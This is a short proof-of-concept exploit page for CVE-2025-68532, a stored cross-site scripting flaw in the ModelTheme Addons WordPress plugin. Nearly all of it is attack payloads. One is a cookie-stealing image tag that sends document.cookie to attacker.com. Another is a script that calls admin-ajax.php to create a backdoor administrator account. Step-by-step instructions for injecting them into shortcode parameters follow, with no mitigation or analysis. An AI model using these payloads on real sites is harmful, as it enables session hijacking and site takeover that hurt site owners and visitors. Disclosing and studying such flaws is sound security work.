CVE-2025-68532: ModelTheme Addons插件存储型XSS漏洞

<!-- CVE-2025-68532 Stored XSS PoC --> <!-- Inject this payload into vulnerable input fields in ModelTheme Addons plugin --> <script>alert(document.cookie)</script> <!-- More sophisticated payload for session hijacking --> <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> <!-- XSS payload that creates a backdoor admin user --> <script> fetch(window.location.origin+'/wp-admin/admin-ajax.php', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'action=adduser&user_login=hacker&[email protected]&role=administrator' }); </script> <!-- Reproduction steps --> <!-- 1. Install ModelTheme Addons plugin < 1.5.6 on WordPress --> <!-- 2. Navigate to WPBakery Page Builder or Elementor editor --> <!-- 3. Insert the payload into any ModelTheme Addons shortcode parameter --> <!-- 4. Save and view the page --> <!-- 5. The JavaScript code will execute in the victim's browser -->